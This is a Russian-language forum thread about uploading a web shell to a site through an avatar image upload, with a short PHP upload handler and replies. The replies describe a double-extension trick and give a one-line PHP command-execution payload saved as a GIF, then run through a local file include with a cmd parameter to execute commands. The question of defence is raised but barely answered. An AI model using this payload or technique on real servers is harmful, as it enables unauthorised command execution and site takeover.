Как залить Шелл на сайт, через загрузку Аваторов?
И что можно предпринять для защиты?
И что можно предпринять для защиты?
<form method=POST enctype=multipart/form-data>
<input type=file name=file size=40>
<input type=submit value=Загрузить>
</form>
<?php
$data = $_FILES['file'];
$tmp = $data['tmp_name'];
$info = @getimagesize($_FILES['file']['tmp_name']);
if (ereg('image/gif', $info['mime']) || ereg('image/png', $info['mime'])) {
if ($info[0] > "100" || $info[1] > "100") {$error[] = "Высота или ширина не соответствуют норме (100*100)";}
} else {$error[]="Неправильный формат файла";}
if ($error){echo "Вы не загрузили аватар по следующим причинам: $error[0],$error[1]";}
else {
move_uploaded_file($tmp, "images/avator.gif");
}
?>
Бред несеш какой-то (причем не только в этой теме), ну назовет он картинку "shell.php.jpg" и все равно это останется картинка...
Начитался журналов, а теперь меня учиш???но если же так назовеш свой шелл shell.jpg.php то некоторые бажные скрипты прочитают расширение после первой точки
Бредятену несеш, это делают если нельзя приинклудить файл с другого хоста (причин может быть много)...Создаем текстовый файл с содержанием <?passthru $cmd?> и сохраняем как lol.gif загружаем, ищем инклуд и подгружаем картинку с такими папаметрами
lol.gif&cmd=id , в успешном варианте покажыт права с которыми запущен апач!